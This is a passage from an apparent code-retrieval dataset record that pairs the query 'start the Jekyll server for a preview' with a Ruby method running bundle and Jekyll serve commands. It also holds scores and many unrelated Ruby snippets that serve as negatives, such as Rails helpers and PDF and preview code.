'<td>'.html_safe\n\t\t\t\t\t\thtml << Date::DAYNAMES[obj.send(col)]\n\t\t\t\t\telsif times.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).strftime(\"%I:%M %p\")\n\t\t\t\t\telsif dates.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).strftime(\"%B %d, %Y\")\n\t\t\t\t\telsif col.include? \"_id\"\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\tif obj.send(col)\n\t\t\t\t\t\t\thtml << (link_to obj.send(col).id.to_s, obj.send(col)).html_safe\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).to_s\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Show Column\n\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\thtml << (link_to \"Show\", obj).html_safe\n\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\t\n\t\t\t\t# Edit Column\n\t\t\t\tif (curr_user.has_permission? :admin) || (!(no_management.include? objects[0].class.name.tableize) && (curr_user.has_permission? :management))\n\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\thtml << (link_to \"Edit\", \"/\" + obj.class.name.tableize + \"/\" + obj.id.to_s + \"/edit\").html_safe\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Destroy Column\n\t\t\t\tif curr_user.has_permission? :admin\n\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\thtml << (link_to \"Destroy\", obj, :confirm => 'Are you sure?', :method => :delete).html_safe\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\n\t\t\thtml << '</tr>'.html_safe\n\t\t\ti = i + 1\n\t\tend\n\t\t\n\t\thtml << '</table>'.html_safe\n\t\t\n\t\thtml.html_safe\n\tend", "def create\n @entry = Entry.new(params[:entry])\n @entry.user = current_user\n \n if params[:preview_button] || !@entry.save\n @show_byline = false\n render :action => \"new\"\n else\n update_twitter_with_new_content(\"New news entry: #{truncate(@entry.title, :length => 100)} #{entry_url(@entry)}\") if params[:post_tweet]\n flash[:notice] = 'News entry was successfully created.'\n redirect_to(@entry)\n end\n end", "def stage_operations\n operations.each do |(tmpl, args, data)|\n #Template::Script.run(tmpl, args, data, options)\n tmpl.script.setup(options).call(args, data)\n end\n end", "def preview(*)\n nil\n end", "def preview(*)\n nil\n end", "def build_pdf_header(pdf)\n pdf.font \"Helvetica\" , :size => 8\n image_path = \"#{Dir.pwd}/public/images/tpereda2.png\"\n\n\n \n table_content = ([ [{:image => image_path, :rowspan => 3 , position: :center, vposition: :center }, {:content =>\"SISTEMA DE GESTION DE LA CALIDAD, SEGURIDAD VIAL,SEGURIDAD Y SALUD EN EL TRABAJO \",:rowspan => 2},\"CODIGO \",\"TP-FZ-F-009\"], \n [\"VERSION: \",\"2\"], \n [\"COMPROBANTE DE EGRESO Nro. \" + @cout.code ,\"Pagina: \",\"1 de 1 \"] \n \n ])\n \n\n pdf.table(table_content ,{\n :position => :center,\n :width => pdf.bounds.width\n })do\n columns([1,2]).font_style = :bold\n columns([0]).width = 118.55\n columns([1]).width = 301.45\n columns([1]).align = :center\n columns([2]).align = :center\n columns([3]).align = :center\n\n columns([2]).width = 60\n\n columns([3]).width = 60\n\n end\n \n \n \n pdf.move_down 2\n pdf \n\n \n end", "def preview_cover\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cover-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.cover\n render \"previews/preview\"\n end", "def generate\n puts \"Generating tumblr\"\n \n @archives = Post.archives\n \n # Index\n @posts = Post.find(:all, :order => \"time DESC\", :limit => 40)\n parse(\"templates/index.html.erb\", \"public/index.html\", binding())\n\n # Permalink pages (if any)\n @all_posts = Post.find(:all).select {|p| FEEDS[p.feed]['generate_permalink']}.each do |post|\n @post = post\n if FileTest.file?(\"templates/post.#{post.feed}.html.erb\")\n parse(\"templates/post.#{post.feed}.html.erb\", \"public/#{post.permalink}.html\", binding())\n end\n end\n \n # Monthly archives\n Post.archives.each do |date, posts|\n @posts = Post.find(:all, :order => \"time DESC\", :conditions => [\"strftime('%Y-%m', time) = ?\", date.strftime('%Y-%m')])\n parse(\"templates/index.html.erb\", \"public/#{date.year}/#{date.month}/index.html\", binding())\n end\n end", "def blog_preview\n object._challenge\n end", "def preview_name\n name.delete_suffix(\"Preview\").underscore\n end", "def buildup_template_header(basename, hash)\n header = []\n type = hash[:type] || :script\n header << filename_for(basename, type)\n header << \"\"\n description = hash[:description] || \"no description\"\n header << teardown_to_oneline(description)\n header << \"\"\n date = hash[:date] || Time.now\n header << \"created on : %04d.%02d.%02d\" % [date.year, date.month, date.day]\n header << \"last update: %04d.%02d.%02d\" % [date.year, date.month, date.day]\n header << \"\"\n author = hash[:author] || AUTHOR_NAME\n header << teardown_to_oneline(\"by \" + author)\n return header.flatten\n end", "def create_title_and_body(target_branch)\n commits = git_call(\"log --format='%H' HEAD...#{target_branch}\").lines.count\n puts \"commits: #{commits}\"\n if commits == 1\n # we can create a really specific title and body\n title = git_call(\"log --format='%s' HEAD...#{target_branch}\").chomp\n body = git_call(\"log --format='%b' HEAD...#{target_branch}\").chomp\n else\n title = \"[Review] Request from '#{git_config['github.login']}' @ '#{source}'\"\n body = \"Please review the following changes:\\n\"\n body += git_call(\"log --oneline HEAD...#{target_branch}\").lines.map{|l| \" * #{l.chomp}\"}.join(\"\\n\")\n end\n\n tmpfile = Tempfile.new('git-review')\n tmpfile.write(title + \"\\n\\n\" + body)\n tmpfile.flush\n editor = ENV['TERM_EDITOR'] || ENV['EDITOR']\n warn \"Please set $EDITOR or $TERM_EDITOR in your .bash_profile.\" unless editor\n\n system(\"#{editor || 'open'} #{tmpfile.path}\")\n\n tmpfile.rewind\n lines = tmpfile.read.lines.to_a\n puts lines.inspect\n title = lines.shift.chomp\n lines.shift if lines[0].chomp.empty?\n\n body = lines.join\n\n tmpfile.unlink\n\n [title, body]\n end", "def preview\n @user = current_user\n @postings = Posting.all.sort_by {|p| [p.created_at.to_date, p.vote_score]}.reverse.first(3)\n end", "def preview_doc\n @tpl = Template.find(params[\"template_id\"]) \n output = @tpl.render_by_model_id(params[:id], 'print', 'www.freightoperations.com:8080')\n render(:text => output, :layout => false) \n end", "def preview(_page)\n File.open(path) do |output|\n res = { io: output, type: :html, filename: \"#{output.path}.html\", disposition: 'inline' }\n yield res\n end\n end", "def sort_tables(default_column = 0)\n content_for :head do\n \"<script type=\\\"text/javascript\\\">\n $(document).ready(function() \n { \n $('table').tablesorter({widgets: ['zebra'], sortList: [[#{default_column}, 0]]}); \n } \n );\n </script>\"\n end\n end", "def showcase\n @local_page_title = \"Showcase\"\n @local_page_desc = \"Display of a few selected \" + PRODUCT_DISPLAY_NAME + \" timelines\"\n \n @example_rows = []\n # We currently entertain max 4 values ...if present in DB\n for i in 1..4\n #\n # each example row value in db will be in form title,id1.id2,id2 etc.\n #\n example_row_values_str = @configcache.get_value(\"example_row_#{i}\")\n if !example_row_values_str.nil?\n row_values_str_array = example_row_values_str.split(\",\")\n if row_values_str_array != nil\n rowhash = Hash.new\n tlids_array = [] #empty array\n \n for index in 0..4 # One title and max 4 timelines-ids\n if(index == 0)\n title = row_values_str_array[index]\n rowhash[:title] = title\n end\n \n begin\n tlids_array.push(Integer(row_values_str_array[index]))\n rescue\n end\n end #end for\n \n if tlids_array.length() > 0\n selected_timelines = Timeline.find(tlids_array)\n rowhash[:tl_entries] = selected_timelines\n end\n \n @example_rows.push(rowhash)\n end #end if\n end\n end #end for \n \n end", "def prepare\n puts \"Preparing #{@date.to_s}\"\n @graphic = ImageList.new\n \n #set background color\n bg_color = @color_scheme['main']\n @graphic.new_image(@calendar.width, @calendar.height) { self.background_color = bg_color }\n \n #add cloud background\n cloud = @graphic.read('cloud.png')\n \n #add daily tasks\n everyday_tasks\n dot\n weekly_task\n dot\n todos\n dot\n \n #add the date at the top\n date_header\n dot\n \n #add the special event\n special_event\n dot\n end", "def generate_table_of_contents\n setup\n\n template_file = @template_dir + 'table_of_contents.rhtml'\n return unless template_file.exist?\n\n debug_msg \"Rendering the Table of Contents...\"\n\n out_file = @outputdir + 'table_of_contents.html'\n rel_prefix = @outputdir.relative_path_from out_file.dirname\n search_index_rel_prefix = rel_prefix\n search_index_rel_prefix += @asset_rel_path if @file_output\n\n asset_rel_prefix = rel_prefix + @asset_rel_path\n\n @title = \"Table of Contents - #{@options.title}\"\n\n render_template template_file, out_file do |io|\n here = binding\n # suppress 1.9.3 warning\n here.local_variable_set(:asset_rel_prefix, asset_rel_prefix)\n here\n end\n rescue => e\n error = RDoc::Error.new \\\n \"error generating table_of_contents.html: #{e.message} (#{e.class})\"\n error.set_backtrace e.backtrace\n\n raise error\n end", "def generate_preview_signature\n Sha256.new({string: generate_preview_url, salt: GlobalConstant::Base.cms[:sha256_salt]}).perform\n end", "def template(title, link)\n \"\\t\\e[1m#{title}\\e[22m\\n\\t#{link}\\n\\n\"\n end" ]
[ "0.642627", "0.55547947", "0.54683995", "0.5409561", "0.5348179", "0.5309905", "0.52735263", "0.5262009", "0.52282965", "0.5199787", "0.51580495", "0.5153248", "0.5153248", "0.5111445", "0.508971", "0.50816727", "0.50076956", "0.49763697", "0.49747205", "0.49747205", "0.48802304", "0.4857993", "0.48359257", "0.4788757", "0.4788757", "0.47868285", "0.47804385", "0.47680122", "0.47337306", "0.47267398", "0.47214147", "0.47131783", "0.4703054", "0.46616128", "0.46525484", "0.46507952", "0.4643256", "0.46412715", "0.46366167", "0.4622902", "0.4617902", "0.46171278", "0.4611789", "0.46112177", "0.46031025", "0.46011123", "0.45966643", "0.4592564", "0.4587886", "0.4583554", "0.45797208", "0.45780852", "0.45769033", "0.4571676", "0.45667064", "0.45627946", "0.45564705", "0.45363528", "0.4535168", "0.45286226", "0.45283628", "0.45264333", "0.45236173", "0.45199496", "0.45195982", "0.4518516", "0.45131618", "0.4511738", "0.4509348", "0.45078176", "0.4499803", "0.44981062", "0.44867766", "0.44826", "0.44737786", "0.44653994", "0.44594514", "0.4452012", "0.44491506", "0.44469044", "0.4435261", "0.4434103", "0.44257292", "0.44257292", "0.44194698", "0.44188437", "0.44185767", "0.4410937", "0.44001213", "0.43996525", "0.43975928", "0.4397531", "0.43965223", "0.43955213", "0.43917945", "0.43874645", "0.43815947", "0.43774077", "0.43743405", "0.43707848" ]
0.5884167
1
================================================================================= Start the Jekyll server for a preview Params: +preview+:: the preview
def start_jekyll preview path = get_dest_path preview Dir.chdir path Bundler.with_clean_env do ActiveSupport::Dependencies.interlock.permit_concurrent_loads do begin continue = true # Test if bundle was previously updated out, status = Open3.capture2e("bundle check") continue = status.success? #unless continue # raise "Bundle check failed" #end bundle_updated = BUNDLE_CHECK_REGEX =~ out # Update the bundle if bundle_updated.nil? Open3.popen2e("bundle update jekyll") do |i, oe, t| terminal_add preview, terminal_info(I18n.t('preview.message.bundle.start')) oe.each {|line| #puts line terminal_add preview, terminal_cmd(line) #error = /warning/ =~ line } continue = t.value.success? if continue terminal_add preview, terminal_info(I18n.t('preview.message.bundle.end')) else terminal_add preview, terminal_info(I18n.t('preview.message.bundle.error')) end end unless continue return end end # Start Jekyll server Open3.popen2e("bundle exec jekyll serve --config _config_local.yml") do |i, oe, t| terminal_add preview, terminal_trigger(I18n.t('preview.trigger.start'), '') terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.start')) preview.set_starting t.pid oe.each {|line| #puts line #error = /warning/ =~ line terminal_add preview, terminal_cmd(line) if JEKYLL_URL_REGEX =~ line address = line.scan JEKYLL_URL_REGEX preview.url = address[0][0] preview.save elsif JEKYLL_START_REGEX=~ line preview.set_started # Trigger started terminal_add preview, terminal_trigger(I18n.t('preview.trigger.run'), '') terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.started')) elsif JEKYLL_UPDATE_REGEX =~ line duration = line.scan JEKYLL_UPDATE_REGEX # Trigger updated terminal_add preview, terminal_trigger(I18n.t('preview.trigger.update'), "#{duration[0][0]}") end } rescue Exception => exception pp exception.backtrace terminal_add preview, terminal_trigger(I18n.t('preview.trigger.error'), exception.backtrace) terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.error')) end end preview.stop # Trigger stopped terminal_add preview, terminal_trigger(I18n.t('preview.trigger.stop'), '') terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.end')) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def jekyll_thread preview\n terminal_add preview, terminal_info(I18n.t('preview.message.start'))\n Rails.application.executor.wrap do\n Thread.new do\n Rails.application.reloader.wrap do\n Rails.application.executor.wrap do\n start_jekyll preview\n end\n end\n end\n end\n end", "def preview(argv)\n parser.banner = \"Usage: smeagol-preview [OPTIONS]\\n\"\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n #parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n # options[:auto_update] = flag\n #end\n\n #parser.on('--secret [KEY]', 'Specifies the secret key used to update.') do |str|\n # options[:secret] = str\n #end\n\n $stderr.puts \"Starting preview...\"\n\n Console.preview(*parse(argv))\n end", "def start_server\n init \"Postview starting #{@server} on #{@options[:Host]}:#{@options[:Port]}\" do\n @postview = Rack::Builder.new do |application|\n use Rack::CommonLogger, STDOUT\n use Rack::ShowExceptions\n run Postview::Application::Blog\n end.to_app\n end\n @server.run(@postview, @options)\n end", "def start\n \n @preview = Preview.find(params[:preview_id])\n update_preview @preview\n head :ok\n #redirect_to action: 'status'\n \n end", "def start_server\n init \"Postview starting #{@server} on #{@options[:Host]}:#{@options[:Port]}\" do\n ENV['RACK_ENV'] = \"production\"\n config = @config.to_s\n @postview = eval(\"Rack::Builder.new{(\\n#{@source}\\n)}.to_app\", nil, config)\n @application = Rack::Builder.new do |application|\n use Rack::CommonLogger, STDOUT\n use Rack::ShowExceptions\n run application\n end.to_app\n end\n @server.run(@postview, @options)\n end", "def distribute\n puts \"SwaggerUI listen: http://localhost:#{@port} with: #{@expand_path}\"\n `docker run --rm --name oas_contrib_preview_swagger_ui \\\n -p #{@port}:8080 -e API_URL=#{@basename} \\\n -v #{@expand_path}:/usr/share/nginx/html/#{@basename} swaggerapi/swagger-ui`\n raise 'Preview command needs docker.' unless $?.exitstatus.zero?\n true\n end", "def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end", "def preview\n redirect_to preview_url\n end", "def jekyll_serve build\n # Locally serve Jekyll as per the primary Jekyll config file\n @logger.debug \"Attempting Jekyll serve operation.\"\n config_file = build.props['files'][0]\n if build.props['arguments']\n opts_args = build.props['arguments'].to_opts_args\n end\n command = \"bundle exec jekyll serve --config #{config_file} #{opts_args} --no-watch --skip-initial-build\"\n system command\nend", "def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n \n the_website=the_menu=the_layout=the_theme = nil\n the_website = Website.find_by_url(params[:d])\n if params[:c]\n the_menu = Menu.find_by_id(params[:c])\n else\n the_menu = Menu.find_by_id(the_website.index_page) \n end\n the_theme = TemplateTheme.find(the_menu.find_theme_id(is_preview=true))\n do_preview(the_theme.id, the_theme.layout_id, the_menu.id)\n render :text => File.read(\"#{Rails.public_path}/shops/#{the_theme.file_name('html')}\")\n end", "def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n editor = params[:editor]\n website=menu=layout=theme = resource = nil\n website = Website.find_by_url(params[:d])\n if params[:c]\n menu = Menu.find_by_id(params[:c])\n if params[:r]\n resource = BlogPost.find_by_id(params[:r])\n end \n else\n menu = Menu.find_by_id(website.index_page) \n end\n theme = TemplateTheme.find(menu.find_theme_id(is_preview=true))\n html,css = do_preview(theme, menu, {:blog_post_id=>(resource.nil? ? nil:resource.id),:editor=>editor})\n #insert css to html\n style = %Q!<style type=\"text/css\">#{css}</style>!\n \n #editor_panel require @theme, @editors, @editor ...\n prepare_params_for_editors(theme)\n editor_panel = render_to_string :partial=>'layout_editor_panel'\n html.insert(html.index(\"</head>\"),style)\n html.insert(html.index(\"</body>\"),editor_panel)\n render :text => html\n end", "def preview_index\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_index-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.index\n render \"previews/preview\"\n end", "def preview\n begin\n page = Comatose::Page.new(params[:page])\n page.author = current_user\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end", "def preview\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_extra_page-#{@extra_page.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.extra_page @extra_page.id\n render \"previews/preview\"\n end", "def preview\n begin\n page = ComatosePage.new(params[:page])\n page.author = fetch_author_name\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end", "def preview\n end", "def preview\n end", "def set_preview\n @preview = Preview.find(params[:id])\n end", "def live(sketch, args)\n ensure_exists(sketch)\n spin_up('live.rb', sketch, args)\n end", "def live_preview_block(**options)\n unless options[:url]\n raise \"A URL is required for `live_preview_block`\"\n end\n block_component('live-preview-block', options)\n end", "def preview\n render :template => \"preview\", :layout => false\n end", "def create\n @preview = Preview.new(params[:preview])\n\n respond_to do |format|\n if @preview.save\n format.html { redirect_to @preview, notice: 'Preview was successfully created.' }\n format.json { render json: @preview, status: :created, location: @preview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preview.errors, status: :unprocessable_entity }\n end\n end\n end", "def enable_preview\n @service.context.post(@control_path, :action => 'enablepreview')\n self\n end", "def create\n @preview = Preview.new(preview_params)\n\n respond_to do |format|\n if @preview.save\n format.html { redirect_to @preview, notice: 'Preview was successfully created.' }\n format.json { render :show, status: :created, location: @preview }\n else\n format.html { render :new }\n format.json { render json: @preview.errors, status: :unprocessable_entity }\n end\n end\n end", "def run\n Jekyll.logger.debug \"Rendering:\", document.relative_path\n\n assign_pages!\n assign_current_document!\n assign_highlighter_options!\n assign_layout_data!\n\n Jekyll.logger.debug \"Pre-Render Hooks:\", document.relative_path\n document.trigger_hooks(:pre_render, payload)\n\n render_document\n end", "def preview_index(urls, path: request.path)\n render(path: __dir__ + \"/index.erb\", locals: { urls: Array(urls), path: path })\n end", "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "def preview_url(opts={})\n url(opts)\n end", "def show_preview path\n @windows.load_preview path\n end", "def preview\n render 'preview', :layout => false\n end", "def preview_local\n preview('--config _config.yml,_config.local.yml')\nend", "def start_webserver\n stop_webserver\n Webserver.run!\n end", "def previewer(menu, theme=nil, options={})\r\n options[:preview] = true\r\n pg = self.new( theme, menu, options)\r\n pg.build\r\n pg\r\n end", "def previewer(menu, theme=nil, options={})\r\n options[:preview] = true\r\n pg = self.new( theme, menu, options)\r\n pg.build\r\n pg\r\n end", "def preview_doc\n @tpl = Template.find(params[\"template_id\"]) \n output = @tpl.render_by_model_id(params[:id], 'print', 'www.freightoperations.com:8080')\n render(:text => output, :layout => false) \n end", "def preview\n render json: {\n preview: Post.md2html(params[:content])\n }\n end", "def update\n unless File.exist?(@source_file)\n raise FileNotFoundError.new(\"Source file deleted\")\n end\n\n markdown_render = @preview_pipeline.call(IO.read(@source_file), @pipeline_context, {})[:output].to_s\n preview_html = wrap_preview(markdown_render)\n\n File.open(@preview_file, 'w') do |f|\n f.write(preview_html)\n end\n\n @update_callbacks.each { |callback| callback.call }\n end", "def preview_cover\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cover-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.cover\n render \"previews/preview\"\n end", "def start\n if @options[:\"disable-watcher\"]\n bootup\n else\n @server_job = fork {\n Signal.trap(::Middleman::WINDOWS ? :KILL : :TERM) { exit! }\n bootup\n }\n end\n end", "def show\n @preview_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preview_post }\n end\n end", "def extract_new_preview\n delete_extract\n extract_preview\n end", "def preview\n @preview ||= Preview.new(self) #if has_preview?\n end", "def preview(*)\n nil\n end", "def preview(*)\n nil\n end", "def preview(_page)\n File.open(path) do |output|\n res = { io: output, type: :html, filename: \"#{output.path}.html\", disposition: 'inline' }\n yield res\n end\n end", "def preview\n order = current_user.orders.find_by_cookbook_id(params[:id])\n @cookbook = (order) ? order.cookbook : current_cookbook\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cookbook-#{@cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: @cookbook, \n filename: preview_path\n )\n preview.cookbook\n render \"previews/preview\"\n end", "def new\n @preview = Preview.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preview }\n end\n end", "def show\n @preview = Preview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preview }\n end\n end", "def content_preview(options = {})\n file = Store::File.find_by(id: store_file_id)\n if !file\n raise \"No such file #{store_file_id}!\"\n end\n raise 'Unable to generate preview' if options[:silence] != true && preferences[:content_preview] != true\n\n image_resize(file.content, 200)\n end", "def create_preview\n params[:post][:user_id] = current_user.id\n params[:post][:title] << \" %preview%\"\n\n #destroy the preview if one exists (result of hitting preview multiple times before post submit)\n preview = Post.where(title: params[:post][:title]).first()\n if preview\n preview.destroy\n end\n\n @post = Post.new(params[:post])\n\n set_params()\n get_categories_tags()\n @post.status_id = PostStatus.draft.first.id\n\n @post.categories = Category.where(category: params[:categories])\n @post.tags = Tag.where(tag: params[:tags])\n if @post.save\n respond_to do |format|\n format.html\n format.js { render json: @post.id }\n end\n else\n @errors = @post.errors.messages\n respond_to do |format|\n format.html\n format.js { render json: @errors }\n end\n end\n end", "def preview\n frm.button(:value=>\"Preview\").click\n PreviewAnnouncements.new(@browser)\n end", "def preview() @page.find(input_elements[:preview]) end", "def create_preview_and_thumbnails\n typescript = self.typescript\n return false if typescript.nil? || typescript.content_type != 'application/pdf'\n preview = self.preview_image\n return false if !preview.nil?\n self.create_or_update_preview\n self.create_thumbnails\n return true\n end", "def start!\n http_server.start\n self\n end", "def start(foreground = false)\n server_class = RailsInstaller::WebServer.servers[config['web-server']]\n if not server_class\n message \"** warning: web-server #{config['web-server']} unknown. Use 'web-server=external' to disable.\"\n end\n \n server_class.start(self,foreground)\n end", "def preview_page(name, data, format)\n ::Gollum::PreviewPage.new(self, \"#{name}.#{::Gollum::Page.format_to_ext(format.to_sym)}\", data, @access.commit(@ref))\n end", "def run!(stream:)\n @logger.reset\n @logger.phase_heading(\"Initializing render task\")\n\n ts = TemplateSets.from_dirs_and_files(paths: @filenames, logger: @logger)\n\n validate_configuration(ts)\n count = render_templates(stream, ts)\n\n @logger.summary.add_action(\"Successfully rendered #{count} template(s)\")\n @logger.print_summary(:success)\n rescue Krane::FatalDeploymentError\n @logger.print_summary(:failure)\n raise\n end", "def serve!\n if TinyProxy::Cache.has? request.uri\n serve_from_cache!\n else\n serve_from_remote!\n end\n end", "def preview=(value)\n @preview = value\n end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def set_preview_context\n @preview_context = PreviewContext.find params[:id]\n end", "def serve(argv)\n config_file = nil\n\n parser.banner = \"usage: smeagol-serve [OPTIONS]\\n\"\n\n parser.on('-c', '--config [PATH]', 'Load config file instead of default.') do |path|\n options[:config_file] = path\n end\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n options[:auto_update] = flag\n end\n\n parser.on('--secret [KEY]', 'Specifies the secret key, if needed to update.') do |str|\n options[:secret] = str\n end\n\n Console.serve(*parse(argv))\n end", "def show\n @preview_mode = true\n @root_page = Page.language_root_for(session[:language_id])\n # Setting the locale to pages language. so the page content has its correct translation\n ::I18n.locale = @page.language_code\n render :layout => layout_for_page\n rescue Exception => e\n exception_logger(e)\n render :file => Rails.root.join('public', '500.html'), :status => 500, :layout => false\n end", "def start\n uri = URI.parse server\n http = Net::HTTP.new uri.host, uri.port\n response = http.post '/documents', input\n if response.is_a?(Net::HTTPOK)\n data = JSON.parse(response.body)\n STDOUT.puts \"#{server}/#{data['key']}\"\n else\n STDERR.puts \"failure uploading: #{response.code}\"\n end\n rescue RuntimeError, JSON::ParserError => e\n STDERR.puts \"failure uploading: #{response.code}\"\n rescue Errno::ECONNREFUSED => e\n STDERR.puts \"failure connecting: #{e.message}\"\n end", "def show_preview(model_class, options = {}, &block)\n return unless params[:preview_id]\n previewed = model_class.find(params[:preview_id], options)\n return unless previewed\n locals = {:body=>capture(previewed, &block)}\n concat(render(:partial => \"shared/ubiquo/preview_box\", :locals => locals))\n end", "def serve\n server_options = {}\n options.each { |k, v| server_options[k.to_sym] = v }\n server_options[:server] = {}\n [:port, :handler, :host].each do |k|\n server_options[:server][k] = server_options.delete(k) if server_options.key?(k)\n end\n\n @project.server.set_options(server_options[:server])\n end", "def serve(file, &block)\n markup = read_markup(map_to_file(file))\n base_path = File.dirname(file)\n \n process(markup, base_path, &block)\n end", "def start\n params = {\n :migrate => migrate,\n :ref => ref,\n :serverside_version => serverside_version,\n }\n params[:migrate_command] = migrate_command if migrate\n post_to_api(params)\n end", "def start_server\n begin\n require 'webrick'\n rescue LoadError\n abort \"webrick is not found. You may need to `gem install webrick` to install webrick.\"\n end\n\n server = WEBrick::HTTPServer.new :Port => @server\n\n extra_doc_dirs = @stores.map {|s| s.type == :extra ? s.path : nil}.compact\n\n server.mount '/', RDoc::Servlet, nil, extra_doc_dirs\n\n trap 'INT' do server.shutdown end\n trap 'TERM' do server.shutdown end\n\n server.start\n end", "def wrap_preview(preview_html)\n output_file_content =<<CONTENT\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"refresh\" content=\"#{@refresh_rate}\">\n <style type=\"text/css\">\n #{IO.read(Resources.expand_path(File.join('css','github.css')))}\n #{IO.read(Resources.expand_path(File.join('css','github2.css')))}\n\n html, .markdown-body {\n overflow: inherit;\n }\n .markdown-body h1 {\n margin-top: 0;\n }\n .readme-content {\n width: #{@preview_width}px;\n }\n\n /* hack in an anchor icon */\n .markdown-body h1:hover a.anchor, .markdown-body h2:hover a.anchor, .markdown-body h3:hover a.anchor, .markdown-body h4:hover a.anchor, .markdown-body h5:hover a.anchor, .markdown-body h6:hover a.anchor {\n padding: 8px 13px;\n margin: 0px 0px 12px -27px;\n background: 